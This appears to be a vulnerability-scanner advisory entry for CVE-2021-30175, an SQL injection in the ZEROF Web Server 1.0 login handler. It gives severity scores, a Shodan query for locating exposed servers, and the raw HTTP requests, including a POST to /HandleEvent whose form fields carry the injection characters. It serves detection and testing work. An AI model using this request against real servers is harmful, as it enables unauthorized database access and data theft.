| Title | ZEROF Web Server 1.0 - SQL Injection |
|---|---|
| Author | edoardottt |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in ZEROF Web Server 1.0. |
| CVSS Score | 9.8 |
| EPSS Score | 0.7447 |
| CVE ID | CVE-2021-30175 |
| CWE ID | CWE-89 |
| Shodan Query | cpe:"cpe:2.3:a:google:web_server" |
| Tags | cve2021 cve zerof sqli vuln |
ZEROF Web Server 1.0 (April 2021) allows SQL Injection via the /HandleEvent endpoint for the login page.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123
Connection: close
Accept-Encoding: gzip
POST /HandleEvent HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 112
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Ajax=1&IsEvent=1&Obj=O4F&Evt=click&this=O4F&"_fp_=_S_ID=DhcsPI&O33=%020%02%02'&O37=%020%02%02fff"&_seq_=2&_uo_=O
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-30175.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-30175.pcap
N/AN/A